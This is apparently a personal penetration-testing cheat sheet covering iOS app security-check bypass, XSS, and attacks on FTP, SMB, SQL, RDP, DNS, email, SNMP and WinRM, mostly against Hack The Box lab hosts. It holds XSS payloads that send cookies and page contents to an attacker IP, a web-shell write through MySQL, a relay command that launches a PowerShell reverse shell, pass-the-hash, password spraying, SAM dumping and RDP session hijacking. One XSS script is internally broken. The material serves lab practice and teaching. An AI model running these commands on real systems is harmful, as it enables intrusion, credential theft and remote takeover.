| `ISS_Pipeline_`           | Security check orchestrators / dispatchers         |
| `ISS_Util_`               | Utility / support functions (base64, string parse) |
| `ISS_Crypto_`             | Cryptographic operations (AES, HMAC)               |
| `ISS_Thunk_`              | Thunks / stubs to real implementations             |
| `Swift_Array_`            | Generic array buffer helpers **(skip)**            |
| `Swift_Data_`             | Foundation Data helpers **(skip)**                 |
| `Swift_String_`           | String manipulation helpers **(skip)**             |
| `Swift_once_`             | Lazy initializers **(skip)**                       |
| `Swift_lazyType`          | Type metadata accessors **(skip)**                 |
| `Swift_arcRetain/Release` | ARC helpers **(skip)**                             |

***

## 10. Analysis Decision Tree

### Full Target — Where to Start

```
Got the binary
       │
       ├─ Encrypted? ──YES──▶ frida-ios-dump / bagbak ──▶ continue
       │
       ├─ strings ──▶ URLs/keys visible?
       │           ├── YES ──▶ static analysis first (IDA)
       │           └── NO  ──▶ dynamic analysis first (Frida trace)
       │
       ├─ class-dump / dsdump ──▶ meaningful class names?
       │           ├── YES ──▶ map to IDA, analyze those classes
       │           └── NO  ──▶ Frida trace → log all methods → map back to IDA
       │
       ├─ SSL pinning?
       │           └──▶ objection sslpinning disable
       │               ▶ Burp/mitmproxy ──▶ understand API ──▶ then map in IDA
       │
       └─ Security checks?
                   └──▶ Identify with Frida (log all returns)
                       ▶ IDA: analyze only flagged functions
                       ▶ Surgical bypass (not global hook)


For each suspicious function:

  size < 0x20?    ──YES──▶  SKIP
       │
       │ NO
       ▼
  first call = swift_getTypeByMangledName?  ──YES──▶  SKIP
       │
       │ NO
       ▼
  xrefs_to  ──▶  caller name tells you the purpose?  ──YES──▶  name it, done
       │
       │ NO
       ▼
  callgraph  ──▶  find CC_SHA256 / CCCrypt / _dyld_ / sysctl?
       ├── CC_SHA256  ──▶  integrity check
       ├── CCCrypt    ──▶  crypto/decryption
       ├── _dyld_*    ──▶  jailbreak / integrity
       ├── sysctl     ──▶  debugger detection
       ├── fork       ──▶  sandbox check
       └── none       ──▶  decompile and read carefully
```

### Priority Import Functions

| Function                    | Security Relevance           |
| --------------------------- | ---------------------------- |
| `CC_SHA256`                 | Integrity / certificate hash |
| `CCCrypt`                   | AES encrypt/decrypt          |
| `CCHmac`                    | HMAC signing                 |
| `SecItemCopyMatching`       | Keychain read                |
| `SecTrustEvaluateWithError` | Cert validation              |
| `ptrace`                    | Anti-debug                   |
| `sysctl`                    | Process flags / debugger     |
| `_dyld_get_image_name`      | Loaded dylib enumeration     |
| `vm_region_64`              | Memory protection check      |
| `fork` / `vfork`            | Sandbox detection            |

### Bypass Hook Priority

| Priority | Target                                           | Notes                                        |
| -------- | ------------------------------------------------ | -------------------------------------------- |
| **1**    | Result comparator (string equality)              | One hook kills all checks. Most surgical.    |
| **2**    | Orchestrator / scheduler function                | Return early before any check runs.          |
| **3**    | Individual check entry points                    | Per-check bypass. Handle polarity carefully. |
| **4**    | Low-level C functions (`stat`, `sysctl`, `fork`) | Coarse but reliable. Risk of side effects.   |

### Common Pitfalls

| Pitfall                                     | Explanation                                                                 |
| ------------------------------------------- | --------------------------------------------------------------------------- |
| **Inverting sret / first arg**              | `x8` = sret ptr. `args[0]` is NOT always the first argument in Swift.       |
| **Wrong polarity on check return**          | Some checks: `1=detected`, others: `1=clean`. Always verify before hooking. |
| **In-memory hash (not disk)**               | Patching binary on disk won't change the in-memory `__text` hash.           |
| **Result struct written before comparison** | Hook the struct init (sret), not just the final comparator.                 |
| **Unmapped checks causing crash**           | Full bypass mode needs ALL checks mapped first.                             |

***

*ARM64 · Swift · ObjC · Frida · IDA Pro*


# Cloud Pentesting


# WiFi Pentesting


# XSS Cheatsheet

### Perform `GET/POST` request on victim session

```html
<a href='javascript: fetch("http://localhost:3000/administrator/Employee-management/raw/branch/main/index.php") .then(response => response.text()) .then(data => fetch("http://10.10.14.16/", { method: "POST", headers: { "Content-Type": "application/x-www-form-urlencoded" }, body: "d=" + encodeURIComponent(btoa(unescape(encodeURIComponent(data)))) }));'>XSS test</a>
```

```javascript
<script>
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open("get","https://alert.htb/index.php?page=messages",true);
var attacker = "http://10.10.14.16/cookie="
xhr.onreadystatechange = function () {
    if (xhr.readyState == XMLHttpRequest.DONE) {
      fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
    }
  }
req.send();
<script>
```

```html
<a href="javascript:fetch('http://10.10.14.16/?d='+encodeURIComponent(btoa(document.cookie)));">XSS test </a>
```

### XSS without parentheses

```javascript
alert`1`
```

### Resources

* <https://portswigger.net/research/xss-without-parentheses-and-semi-colons>


# SQL Injection


# Google Dorks


# Attacking Common Services

### Attacking FTP

| **Command**                                                              | **Description**                                      |
| ------------------------------------------------------------------------ | ---------------------------------------------------- |
| `ftp 192.168.2.142`                                                      | Connecting to the FTP server using the `ftp` client. |
| `nc -v 192.168.2.142 21`                                                 | Connecting to the FTP server using `netcat`.         |
| `hydra -l user1 -P /usr/share/wordlists/rockyou.txt ftp://192.168.2.142` | Brute-forcing the FTP service.                       |

***

### Attacking SMB

| **Command**                                                                                                     | **Description**                                                       |
| --------------------------------------------------------------------------------------------------------------- | --------------------------------------------------------------------- |
| `smbclient -N -L //10.129.14.128`                                                                               | Null-session testing against the SMB service.                         |
| `smbmap -H 10.129.14.128`                                                                                       | Network share enumeration using `smbmap`.                             |
| `smbmap -H 10.129.14.128 -r notes`                                                                              | Recursive network share enumeration using `smbmap`.                   |
| `smbmap -H 10.129.14.128 --download "notes\note.txt"`                                                           | Download a specific file from the shared folder.                      |
| `smbmap -H 10.129.14.128 --upload test.txt "notes\test.txt"`                                                    | Upload a specific file to the shared folder.                          |
| `rpcclient -U'%' 10.10.110.17`                                                                                  | Null-session with the `rpcclient`.                                    |
| `./enum4linux-ng.py 10.10.11.45 -A -C`                                                                          | Automated enumeratition of the SMB service using `enum4linux-ng`.     |
| `crackmapexec smb 10.10.110.17 -u /tmp/userlist.txt -p 'Company01!'`                                            | Password spraying against different users from a list.                |
| `impacket-psexec administrator:'Password123!'@10.10.110.17`                                                     | Connect to the SMB service using the `impacket-psexec`.               |
| `crackmapexec smb 10.10.110.17 -u Administrator -p 'Password123!' -x 'whoami' --exec-method smbexec`            | Execute a command over the SMB service using `crackmapexec`.          |
| `crackmapexec smb 10.10.110.0/24 -u administrator -p 'Password123!' --loggedon-users`                           | Enumerating Logged-on users.                                          |
| `crackmapexec smb 10.10.110.17 -u administrator -p 'Password123!' --sam`                                        | Extract hashes from the SAM database.                                 |
| `crackmapexec smb 10.10.110.17 -u Administrator -H 2B576ACBE6BCFDA7294D6BD18041B8FE`                            | Use the Pass-The-Hash technique to authenticate on the target host.   |
| `impacket-ntlmrelayx --no-http-server -smb2support -t 10.10.110.146`                                            | Dump the SAM database using `impacket-ntlmrelayx`.                    |
| `impacket-ntlmrelayx --no-http-server -smb2support -t 192.168.220.146 -c 'powershell -e <base64 reverse shell>` | Execute a PowerShell based reverse shell using `impacket-ntlmrelayx`. |

***

### Attacking SQL Databases

| **Command**                                                                                                                | **Description**                                                                                               |
| -------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------------------------------------- |
| `mysql -u julio -pPassword123 -h 10.129.20.13`                                                                             | Connecting to the MySQL server.                                                                               |
| `sqlcmd -S SRVMSSQL\SQLEXPRESS -U julio -P 'MyPassword!' -y 30 -Y 30`                                                      | Connecting to the MSSQL server.                                                                               |
| `sqsh -S 10.129.203.7 -U julio -P 'MyPassword!' -h`                                                                        | Connecting to the MSSQL server from Linux.                                                                    |
| `sqsh -S 10.129.203.7 -U .\\julio -P 'MyPassword!' -h`                                                                     | Connecting to the MSSQL server from Linux while Windows Authentication mechanism is used by the MSSQL server. |
| `mysql> SHOW DATABASES;`                                                                                                   | Show all available databases in MySQL.                                                                        |
| `mysql> USE htbusers;`                                                                                                     | Select a specific database in MySQL.                                                                          |
| `mysql> SHOW TABLES;`                                                                                                      | Show all available tables in the selected database in MySQL.                                                  |
| `mysql> SELECT * FROM users;`                                                                                              | Select all available entries from the "users" table in MySQL.                                                 |
| `sqlcmd> SELECT name FROM master.dbo.sysdatabases`                                                                         | Show all available databases in MSSQL.                                                                        |
| `sqlcmd> USE htbusers`                                                                                                     | Select a specific database in MSSQL.                                                                          |
| `sqlcmd> SELECT * FROM htbusers.INFORMATION_SCHEMA.TABLES`                                                                 | Show all available tables in the selected database in MSSQL.                                                  |
| `sqlcmd> SELECT * FROM users`                                                                                              | Select all available entries from the "users" table in MSSQL.                                                 |
| `sqlcmd> EXECUTE sp_configure 'show advanced options', 1`                                                                  | To allow advanced options to be changed.                                                                      |
| `sqlcmd> EXECUTE sp_configure 'xp_cmdshell', 1`                                                                            | To enable the xp\_cmdshell.                                                                                   |
| `sqlcmd> RECONFIGURE`                                                                                                      | To be used after each sp\_configure command to apply the changes.                                             |
| `sqlcmd> xp_cmdshell 'whoami'`                                                                                             | Execute a system command from MSSQL server.                                                                   |
| `mysql> SELECT "<?php echo shell_exec($_GET['c']);?>" INTO OUTFILE '/var/www/html/webshell.php'`                           | Create a file using MySQL.                                                                                    |
| `mysql> show variables like "secure_file_priv";`                                                                           | Check if the the secure file privileges are empty to read locally stored files on the system.                 |
| `sqlcmd> SELECT * FROM OPENROWSET(BULK N'C:/Windows/System32/drivers/etc/hosts', SINGLE_CLOB) AS Contents`                 | Read local files in MSSQL.                                                                                    |
| `mysql> select LOAD_FILE("/etc/passwd");`                                                                                  | Read local files in MySQL.                                                                                    |
| `sqlcmd> EXEC master..xp_dirtree '\\10.10.110.17\share\'`                                                                  | Hash stealing using the `xp_dirtree` command in MSSQL.                                                        |
| `sqlcmd> EXEC master..xp_subdirs '\\10.10.110.17\share\'`                                                                  | Hash stealing using the `xp_subdirs` command in MSSQL.                                                        |
| `sqlcmd> SELECT srvname, isremote FROM sysservers`                                                                         | Identify linked servers in MSSQL.                                                                             |
| `sqlcmd> EXECUTE('select @@servername, @@version, system_user, is_srvrolemember(''sysadmin'')') AT [10.0.0.12\SQLEXPRESS]` | Identify the user and its privileges used for the remote connection in MSSQL.                                 |

***

### Attacking RDP

| **Command**                                                                                          | **Description**                                                                 |
| ---------------------------------------------------------------------------------------------------- | ------------------------------------------------------------------------------- |
| `crowbar -b rdp -s 192.168.220.142/32 -U users.txt -c 'password123'`                                 | Password spraying against the RDP service.                                      |
| `hydra -L usernames.txt -p 'password123' 192.168.2.143 rdp`                                          | Brute-forcing the RDP service.                                                  |
| `rdesktop -u admin -p password123 192.168.2.143`                                                     | Connect to the RDP service using `rdesktop` in Linux.                           |
| `tscon #{TARGET_SESSION_ID} /dest:#{OUR_SESSION_NAME}`                                               | Impersonate a user without its password.                                        |
| `net start sessionhijack`                                                                            | Execute the RDP session hijack.                                                 |
| `reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f` | Enable "Restricted Admin Mode" on the target Windows host.                      |
| `xfreerdp /v:192.168.2.141 /u:admin /pth:A9FDFA038C4B75EBC76DC855DD74F0DA`                           | Use the Pass-The-Hash technique to login on the target host without a password. |

***

### Attacking DNS

| **Command**                                         | **Description**                                                       |
| --------------------------------------------------- | --------------------------------------------------------------------- |
| `dig AXFR @ns1.inlanefreight.htb inlanefreight.htb` | Perform an AXFR zone transfer attempt against a specific name server. |
| `subfinder -d inlanefreight.com -v`                 | Brute-forcing subdomains.                                             |
| `host support.inlanefreight.com`                    | DNS lookup for the specified subdomain.                               |

***

### Attacking Email Services

| **Command**                                                                                                                                             | **Description**                                                                        |
| ------------------------------------------------------------------------------------------------------------------------------------------------------- | -------------------------------------------------------------------------------------- |
| `host -t MX microsoft.com`                                                                                                                              | DNS lookup for mail servers for the specified domain.                                  |
| `dig mx inlanefreight.com \| grep "MX" \| grep -v ";"`                                                                                                  | DNS lookup for mail servers for the specified domain.                                  |
| `host -t A mail1.inlanefreight.htb.`                                                                                                                    | DNS lookup of the IPv4 address for the specified subdomain.                            |
| `telnet 10.10.110.20 25`                                                                                                                                | Connect to the SMTP server.                                                            |
| `smtp-user-enum -M RCPT -U userlist.txt -D inlanefreight.htb -t 10.129.203.7`                                                                           | SMTP user enumeration using the RCPT command against the specified host.               |
| `python3 o365spray.py --validate --domain msplaintext.xyz`                                                                                              | Verify the usage of Office365 for the specified domain.                                |
| `python3 o365spray.py --enum -U users.txt --domain msplaintext.xyz`                                                                                     | Enumerate existing users using Office365 on the specified domain.                      |
| `python3 o365spray.py --spray -U usersfound.txt -p 'March2022!' --count 1 --lockout 1 --domain msplaintext.xyz`                                         | Password spraying against a list of users that use Office365 for the specified domain. |
| `hydra -L users.txt -p 'Company01!' -f 10.10.110.20 pop3`                                                                                               | Brute-forcing the POP3 service.                                                        |
| `swaks --from notifications@inlanefreight.com --to employees@inlanefreight.com --header 'Subject: Notification' --body 'Message' --server 10.10.11.213` | Testing the SMTP service for the open-relay vulnerability.                             |


# 139,445 SMB

### Checklist

* Enumerate Hostname - `nmblookup -A [ip]`
* List Shares
  * `smbmap -H [ip/hostname]`
  * `echo exit | smbclient -L \\\\[ip]`
  * `nmap --script smb-enum-shares -p 139,445 [ip]`
* Check Null Sessions
  * `smbmap -H [ip/hostname]`
  * `rpcclient -U "" -N [ip]`
  * `smbclient \\\\[ip]\\[share name]`
* Check for Vulnerabilities - `nmap --script smb-vuln* -p 139,445 [ip]`
* Overall Scan - `enum4linux -a [ip]`
* Manual Inspection
  * `smbver.sh [IP] (port)` \[Samba]
  * check pcap

### Tools

* `nmblookup` - collects NetBIOS over TCP/IP client used to lookup NetBIOS names.
* `smbclient` - an ftp-like client to access SMB shares
* `nmap` - general scanner, with scripts
* `rpcclient` - tool to execute client side MS-RPC functions
* `enum4linux` - enumerates various smb functions
* `wireshark`

### Details

#### Enumerate Hostname

**nmblookup**

`nmblookup -A [IP]`

* `-A` - look up by IP address

Example:

```
root@kali:~# nmblookup -A [ip]
Looking up status of [ip]
        [hostname]      <00> -         M <ACTIVE>
        [hostname]      <20> -         M <ACTIVE>
        WORKGROUP       <00> - <GROUP> M <ACTIVE>
        WORKGROUP       <1e> - <GROUP> M <ACTIVE>
                        <03> -         M <ACTIVE>
        INet~Services   <1c> - <GROUP> M <ACTIVE>
        IS~[hostname]   <00> -         M <ACTIVE>

        MAC Address = 00-50-56-XX-XX-XX
```

#### List Shares

**smbmap**

`smbmap -H [ip/hostname]`

This command will show you the shares on the host, as well as your access to them.

Example:

```
root@kali:/# smbmap -H [ip]
[+] Finding open SMB ports....
[+] User SMB session establishd on [ip]...
[+] IP: [ip]:445        Name: [ip]                                      
        Disk                                                    Permissions
        ----                                                    -----------
        ADMIN$                                                  NO ACCESS
        C$                                                      NO ACCESS
        IPC$                                                    NO ACCESS
        NETLOGON                                                NO ACCESS
        Replication                                             READ ONLY
        SYSVOL                                                  NO ACCESS
```

If you get credentials, you can re-run to show new access:

```
root@kali:/# smbmap -H [ip] -d [domain] -u [user] -p [password]
[+] Finding open SMB ports....
[+] User SMB session establishd on [ip]...
[+] IP: [ip]:445        Name: [ip]                                      
        Disk                                                    Permissions
        ----                                                    -----------
        ADMIN$                                                  NO ACCESS
        C$                                                      NO ACCESS
        IPC$                                                    NO ACCESS
        NETLOGON                                                READ ONLY
        Replication                                             READ ONLY
        SYSVOL                                                  READ ONLY
```

**smbclient**

`echo exit | smbclient -L \\\\[ip]`

* exit takes care of any password request that might pop up, since we’re checking for null login
* `-L` - get a list of shares for the given host

Example:

```
root@kali:~# smbclient -L \\[ip]
Enter WORKGROUP\root's password:

        Sharename       Type      Comment
        ---------       ----      -------
        IPC$            IPC       Remote IPC
        share           Disk
        wwwroot         Disk
        ADMIN$          Disk      Remote Admin
        C$              Disk      Default share
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
```

#### Dump All Files

```
smbclient //10.10.11.236/SYSVOL -U 'MANAGER\operator'
smb: \> recurse on
smb: \> prompt off
smb: \> mget *
smb: \> exit
```

**nmap**

`nmap --script smb-enum-shares -p 139,445 [ip]`

* `--script smb-enum-shares` - specific smb enumeration script
* `-p 139,445` - specify smb ports

Example:

```
root@kali:~# nmap --script smb-enum-shares -p 139,445 [ip]
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-27 16:25 EDT
Nmap scan report for [ip]
Host is up (0.037s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 00:50:56:XX:XX:XX (VMware)

Host script results:
| smb-enum-shares:
|   account_used: guest
|   \\[ip]\ADMIN$:
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Remote Admin
|     Anonymous access: <none>
|     Current user access: <none>
|   \\[ip]\C$:
|     Type: STYPE_DISKTREE_HIDDEN
|     Comment: Default share
|     Anonymous access: <none>
|     Current user access: <none>
|   \\[ip]\IPC$:
|     Type: STYPE_IPC_HIDDEN
|     Comment: Remote IPC
|     Anonymous access: READ
|     Current user access: READ/WRITE
|   \\[ip]\share:
|     Type: STYPE_DISKTREE
|     Comment:
|     Anonymous access: <none>
|     Current user access: READ/WRITE
|   \\[ip]\wwwroot:
|     Type: STYPE_DISKTREE
|     Comment:
|     Anonymous access: <none>
|_    Current user access: READ

Nmap done: 1 IP address (1 host up) scanned in 10.93 seconds
```

#### Check Null Sessions

**smbmap**

`smbmap -H [ip/hostname]` will show what you can do with given credentials (or null session if no credentials). See examples in the [previous section](https://0xdf.gitlab.io/2018/12/02/pwk-notes-smb-enumeration-checklist-update1.html#smbmap).

**rpcclient**

`rpcclient -U "" -N [ip]`

* `-U ""` - null session
* `-N` - no password

Example:

```
root@kali:~# rpcclient -U "" -N [ip]
rpcclient $>
```

From there, you can run rpc commands.

**smbclient**

`smbclient \\\\[ip]\\[share name]`

This will attempt to connect to the share. Can try without a password (or sending a blank password) and still potentially connect.

Example:

```
root@kali:~/pwk/lab/public# smbclient \\\\[ip]\\share
Enter WORKGROUP\root's password:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Sep 27 16:26:00 2018
  ..                                  D        0  Thu Sep 27 16:26:00 2018
  New Folder (9)                      D        0  Sun Dec 13 05:26:59 2015
  New Folder - 6                      D        0  Sun Dec 13 06:55:42 2015
  Shortcut to New Folder (2).lnk      A      420  Sun Dec 13 05:24:51 2015

                1690825 blocks of size 2048. 794699 blocks available
```

#### Check for Vulnerabilities

**nmap**

`nmap --script smb-vuln* -p 139,445 [ip]`

* `--script smb-vuln*` - will run all smb vulnerability scan scripts
* `-p 139,445` - smb ports

Example:

```
root@kali:~# nmap --script smb-vuln* -p 139,445 [ip]
Starting Nmap 7.70 ( https://nmap.org ) at 2018-09-27 16:37 EDT
Nmap scan report for [ip]
Host is up (0.030s latency).

PORT    STATE SERVICE
139/tcp open  netbios-ssn
445/tcp open  microsoft-ds
MAC Address: 00:50:56:XX:XX:XX (VMware)

Host script results:
| smb-vuln-ms06-025:
|   VULNERABLE:
|   RRAS Memory Corruption vulnerability (MS06-025)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2006-2370
|           A buffer overflow vulnerability in the Routing and Remote Access service (RRAS) in Microsoft Windows 2000 SP4, XP SP1
|           and SP2, and Server 2003 SP1 and earlier allows remote unauthenticated or authenticated attackers to
|           execute arbitrary code via certain crafted "RPC related requests" aka the "RRAS Memory Corruption Vulnerability."
|
|     Disclosure date: 2006-6-27
|     References:
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2006-2370
|_      https://technet.microsoft.com/en-us/library/security/ms06-025.aspx
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: false
| smb-vuln-ms17-010:
|   VULNERABLE:
|   Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
|     State: VULNERABLE
|     IDs:  CVE:CVE-2017-0143
|     Risk factor: HIGH
|       A critical remote code execution vulnerability exists in Microsoft SMBv1
|        servers (ms17-010).
|
|     Disclosure date: 2017-03-14
|     References:
|       https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|       https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
|_      https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
|_smb-vuln-regsvc-dos: ERROR: Script execution failed (use -d to debug)

Nmap done: 1 IP address (1 host up) scanned in 5.58 seconds
```

#### Overall Scan

**enum4linux**

`enum4linux -a [ip]`

* `-a` - all enumeration

Example output is long, but some highlights to look for:

* output similar to nmblookup
* check for null session
* listing of shares
* domain info
* password policy
* RID cycling output

#### Manual Inspection

#### Samba

`ngrep` is a neat tool to grep on network data. Running something like `ngrep -i -d tap0 's.?a.?m.?b.?a.*[[:digit:]]' port 139` in one terminal and then `echo exit | smbclient -L [IP]` in another will dump out a bunch of info including the version.

rewardone in the PWK forums posted a neat script to easily get Samba versions:

```
#!/bin/sh
#Author: rewardone
#Description:
# Requires root or enough permissions to use tcpdump
# Will listen for the first 7 packets of a null login
# and grab the SMB Version
#Notes:
# Will sometimes not capture or will print multiple
# lines. May need to run a second time for success.
if [ -z $1 ]; then echo "Usage: ./smbver.sh RHOST {RPORT}" && exit; else rhost=$1; fi
if [ ! -z $2 ]; then rport=$2; else rport=139; fi
tcpdump -s0 -n -i tap0 src $rhost and port $rport -A -c 7 2>/dev/null | grep -i "samba\|s.a.m" | tr -d '.' | grep -oP 'UnixSamba.*[0-9a-z]' | tr -d '\n' & echo -n "$rhost: " &
echo "exit" | smbclient -L $rhost 1>/dev/null 2>/dev/null
sleep 0.5 && echo ""
```

When you run this on a box running Samba, you get results:

```
root@kali:~/pwk/lab/public# ./smbver.sh [IP]
[IP]: UnixSamba 227a
```

When in doubt, we can check the smb version in PCAP. Here’s an example Unix Samba 2.2.3a:![](https://0xdfimages.gitlab.io/img/1535861610117.png)

**Windows**

Windows SMB is more complex than just a version, but looking in `wireshark` will give a bunch of information about the connection. We can filter on `ntlmssp.ntlmv2_response` to see NTLMv2 traffic, for example.


# 161,162,10161,10162- Pentesting SNMP

### Pentesting SNMP

```bash
snmp-check 10.10.11.48
```

```bash
onesixtyone  -c /usr/share/seclists/Discovery/SNMP/snmp.txt -dd 10.10.11.48 
```


# winrm

## CME

```bash
cme winrm manager.htb -u raven -p 'R4v3nBe5tD3veloP3r!123'    
```

#### evil-winrm

* simple connection

```bash
evil-winrm -u 'raven' -p 'R4v3nBe5tD3veloP3r!123' -i manager.htb
```

* connection using kerberos

```bash
export KRB5CCNAME=user.ccache
# modify /etc/krb5.conf
┌──(kali㉿kali)-[~/hack-the-box/machines]
└─$ cat /etc/krb5.conf                                                                   
[libdefaults]
    default_realm = DOMAIN.LOCAL
    dns_lookup_realm = false
    dns_lookup_kdc = false
    forwardable = true
[realms]
    DOMAIN.LOCAL = {
        kdc = dc01.domain.local
        admin_server = dc01.domain.local
    }
[domain_realm]
    .domain.local = DOMAIN.LOCAL
    domain.local = DOMAIN.LOCAL

```

```bash
# Get ticket
impacket-getTGT domain/username:'Password' -dc-ip dc01.infiltrator.htb

evil-winrm -u 'user.ccache' -p  -i domain.local -r domain.local
```


# NetExec

### Connecting to Targets

| **Command**                                                         | **Description**                                                                      |
| ------------------------------------------------------------------- | ------------------------------------------------------------------------------------ |
| `cme [protocol] 10.10.10.1`                                         | Protocol can be smb, winrm, mssql, ldap, ssh, rdp or ftp.                            |
| `cme [protocol] <target>`                                           | Target can be a DNS, an IP, a file with IPs or DNSs, or CIDR.                        |
| `cme [protocol] <target> -u`                                        | User can be a name, a list of names, or a file with usernames.                       |
| `cme [protocol] <target> -u <username, list or file with users> -p` | Password can be a plaintext password, a list of passwords, or a file with passwords. |
| `cme [protocol] <target> -u <username, list or file with users> -H` | Hash can be an NTLM hash, a list of NTLM hashes, or a file with NTLM hashes.         |

***

### CME Output

| **Color**  | **Description**                                                                                   |
| ---------- | ------------------------------------------------------------------------------------------------- |
| Green \[+] | The username and the password is valid.                                                           |
| Red \[-]   | The username or the password is invalid.                                                          |
| Magenta    | The username and password are valid, but the authentication is not successful.                    |
| (Pwn3d!)   | We are administrators on the target machine, or we have high privileges over the target protocol. |

***

### CME Specifics Options

| **Command**                                       | **Description**                                                                                                                                                                                                                          |
| ------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
| <p><br><code>--continue-on-success</code><br></p> | By default CME will exit after a successful login is found. Using the --continue-on-success flag will continue spraying even after a valid password is found.                                                                            |
| `--no-bruteforce`                                 | This option is only useful when `<u>` and `<p>` are both files. By default CME will test each user specified by `<u>` with all the passwords from `<p>`; the option `--no-bruteforce` will only test one password per user line by line. |
| `--local-auth`                                    | By default CME will try to authenticate to the domain controller. To use local authentication on the target.                                                                                                                             |
| `--kerberos` or `-k`                              | This option will force Kerberos Authentication on the target. Require FQDN.                                                                                                                                                              |
| `--port`                                          | Custom PROTOCOL port.                                                                                                                                                                                                                    |

***

### Exporting

| **Command**                            | **Description**                                                                                  |
| -------------------------------------- | ------------------------------------------------------------------------------------------------ |
| `--export $(pwd)/output.txt`           | Export the output into a JSON format.                                                            |
| `sed -i "s/'/\"/g" <output_export>`    | Format output to use with `jq` application.                                                      |
| `cme [protocol] <target> > output.txt` | An alternative if a command doesn't support export is to redirect the output to a file with `>`. |

***

### Authentication & Password Spraying

| **Command**                                                   | **Description**                                                                                                                                      |
| ------------------------------------------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------------- |
| `cme smb <target> -u 'nop' -p '`                              | Testing anonymous logon.                                                                                                                             |
| `cme smb <target> -u <u> -p/-H <p>/<H>`                       | Testing Domain authentication on the target.                                                                                                         |
| `cme smb <target> -u <u> -p/-H <p>/<H> --continue-on-success` | Testing Domain authentication on the target, continue even if one valid credential found.                                                            |
| `cme smb <target> -u <u> --aesKey <AES_128/AES_256>`          | Use AES-128 or AES-256 hashes for Kerberos Authentication.                                                                                           |
| `cme smb <target> -u <u> -p <p> --no-bruteforce`              | Testing Domain authentication on the target when <\u> and <\p> are both files.                                                                       |
| `cme smb \<target>\ -u \<u> -p <p> -d <domain>`               | Testing Domain authentication on the target by forcing the domain name **Add this option to all the commands above if you want to force the domain** |
| `cme smb <target> --use-kcache`                               | Use ccache file for Kerberos authentication.                                                                                                         |

***

### SMB Enumeration

| **Command**                                            | **Description**                                                                                   |
| ------------------------------------------------------ | ------------------------------------------------------------------------------------------------- |
| `cme smb <target>`                                     | Enumerate available hosts (OS version, SMB version, IP).                                          |
| `cme smb <target> --gen-relay-list output.txt`         | Maps the network of live hosts and saves a list of only the hosts that don't require SMB signing. |
| `cme smb <target> -u <u> -p <p> --sessions`            | Enumerate active sessions on the target.                                                          |
| `cme smb <target> -u <u> -p <p> --shares`              | Enumerate permissions on all shares of the target.                                                |
| `cme smb <target> -u <u> -p <p> --disks`               | Enumerate disks on the target.                                                                    |
| `cme smb <target> -u <u> -p <p> --computers`           | Enumerate computers on the target domain.                                                         |
| `cme smb <target> -u <u> -p <p> --loggedon-users`      | Enumerate logged users on the target.                                                             |
| `cme smb <target> -u <u> -p <p> --users`               | Enumerate domain users on the target.                                                             |
| `cme smb <target> -u <u> -p <p> --rid-brute [MAX_RID]` | Enumerate users by bruteforcing the RID on the target. By default up to 4000.                     |
| `cme smb <target> -u <u> -p <p> --loggedon-users`      | Enumerate logged users on the target.                                                             |
| `cme smb <target> -u <u> -p <p> --groups`              | Enumerate domain groups on the target.                                                            |
| `cme smb <target> -u <u> -p <p> --local-group`         | Enumerate local groups on the target.                                                             |
| `cme smb <target> -u <u> -p <p> --pass-pol`            | Enumerate Password policy of the domain.                                                          |
| `cme smb <target> -u <u> -p <p> --wmi`                 | Issues the specified WMI query.                                                                   |
| `cme smb <target> -u <u> -p <p> --wmi-namespace`       | WMI Namespace (default: root\cimv2).                                                              |

***

### LDAP Enumeration

| **Command**                                                | **Description**                                                         |
| ---------------------------------------------------------- | ----------------------------------------------------------------------- |
| `cme ldap <target> -u <u> -p <p> --users`                  | Enumerate enabled domain users.                                         |
| `cme ldap <target> -u <u> -p <p> --groups`                 | Enumerate domain groups.                                                |
| `cme ldap <target> -u <u> -p <p> --password-not-required`  | Get the list of users with flag PASSWD\_NOTREQD.                        |
| `cme ldap <target> -u <u> -p <p> --trusted-for-delegation` | Get the list of users and computers with flag TRUSTED\_FOR\_DELEGATION. |
| `cme ldap <target> -u <u> -p <p> ---admin-count`           | Get objets that had the value adminCount=1.                             |
| `cme ldap <target> -u <u> -p <p> --get-sid`                | Get domain sid.                                                         |
| `cme ldap <target> -u <u> -p <p> --gmsa`                   | Enumerate GMSA passwords.                                               |

***

### RDP Enumeration

| **Command**                                                | **Description**                                                                |
| ---------------------------------------------------------- | ------------------------------------------------------------------------------ |
| `cme rdp <target> -u <u> -p <p> --nla-screenshot`          | If NLA is disabled it will allow you to take a screenshot of the login prompt. |
| `cme rdp <target> -u <u> -p <p> --screenshot`              | Enumerate active sessions on the target.                                       |
| `cme rdp <target> -u <u> -p <p> --screentime <SCREENTIME>` | Enumerate permissions on all shares of the target.                             |
| `cme rdp <target> -u <u> -p <p> --res <RESOLUTION>`        | Enumerate active sessions on the target.                                       |

***

### Finding Accounts

| **Command**                                                                   | **Description**                                                                                     |
| ----------------------------------------------------------------------------- | --------------------------------------------------------------------------------------------------- |
| `cme ldap <target_fqdn> -u <u> -p <p> --asreproast asreproast.out`            | Retrieve the Kerberos 5 AS-REP etype 23 hash of users without Kerberos pre-authentication required. |
| `cme ldap <target_fqdn> -u <u> -p <p> --kerberoasting kerberoasting.out`      | Retrieve the Kerberos 5 TGS-REP etype 23 hash using Kerberoasting technique.                        |
| `hashcat -m 18200 asreproast.out /usr/share/wordlists/rockyou.txt --force`    | Module for Cracking ASREPRoast.                                                                     |
